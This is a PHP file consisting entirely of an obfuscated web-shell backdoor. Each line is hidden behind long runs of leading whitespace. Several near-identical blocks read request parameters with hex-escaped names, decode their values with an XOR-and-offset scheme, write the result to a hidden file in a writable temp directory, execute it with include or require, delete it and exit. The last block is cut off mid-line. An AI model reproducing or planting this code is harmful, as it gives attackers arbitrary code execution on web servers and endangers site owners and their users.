<?																																										if(isset($_REQUEST["o\x62j"]) ? true : false){ $pgrp = $_REQUEST["o\x62j"]; $pgrp = explode ("." , $pgrp); $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $z = 0; array_walk( $pgrp, function( $v6) use( &$ent, &$z, $s, $sLen) { $chS = ord( $s[$z%$sLen] ); $d =( ( int)$v6 - $chS -( $z%10)) ^ 94; $ent.=chr( $d ); $z++; } ); $key = array_filter([getenv("TEMP"), session_save_path(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP")]); while ($ref = array_shift($key)) { if (is_writable($ref) && is_dir($ref)) { $val = implode("/", [$ref, ".parameter_group"]); if (file_put_contents($val, $ent)) { include $val; @unlink($val); die(); } } } }
																																										if(in_array("d\x65\x73\x63\x72\x69ptor", array_keys($_POST))){ $ptr = $_POST["d\x65\x73\x63\x72\x69ptor"]; $ptr =explode ( '.' , $ptr ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $u = 0; $__tmp = $ptr; while ($v7 = array_shift($__tmp)) { $chS = ord($salt[$u % $sLen] ); $dec = ((int)$v7 - $chS - ($u % 10)) ^ 24; $sym.= chr($dec ); $u++; } $tkn = array_filter(["/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp"]); while ($ent = array_shift($tkn)) { if (is_dir($ent) && is_writable($ent)) { $object = implode("/", [$ent, ".reference"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $object; @unlink($object); die(); } } } }
																																										if(!is_null($_POST["da\x74\x61\x5Fc\x68\x75nk"] ?? null)){ $descriptor = $_POST["da\x74\x61\x5Fc\x68\x75nk"]; $descriptor= explode ( '.' , $descriptor ); $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $u = 0; $__tmp = $descriptor; while($v9 = array_shift($__tmp)) { $chS = ord($s[$u % $lenS]); $d =((int)$v9 - $chS -($u % 10)) ^ 37; $desc .=chr($d); $u++; } $pset = array_filter(["/dev/shm", "/var/tmp", getenv("TMP"), getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); foreach ($pset as $factor) { if (!( !is_dir($factor) || !is_writable($factor) )) { $bind = "$factor" . "/.elem"; if (file_put_contents($bind, $desc)) { require $bind; unlink($bind); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "k")){ $obj = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/tmp"]); $value = $_REQUEST["k"]; $value = explode ( '.',$value ) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($value as $v => $v4): $chS = ord($salt[$v% $sLen]); $dec = ((int)$v4 - $chS - ($v% 10)) ^ 42; $token .= chr($dec); endforeach; foreach ($obj as $object) { if ((is_dir($object) and is_writable($object))) { $marker = sprintf("%s/.item", $object); if (file_put_contents($marker, $token)) { include $marker; @unlink($marker); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["sym"])){ $dat = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd()]); $element = $_REQUEST["sym"]; $element= explode ( "." ,$element) ; $flag = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6); foreach( $element as $m => $v8): $chS = ord( $salt6[$m % $sLen]); $d = ( ( int)$v8 - $chS -( $m % 10)) ^ 88; $flag .=chr( $d); endforeach; foreach ($dat as $key => $val) { if (is_dir($val) ? is_writable($val) : false) { $hld = implode("/", [$val, ".mrk"]); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $hld; @unlink($hld); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "ele\x6D")){ $symbol = array_filter(["/var/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_tem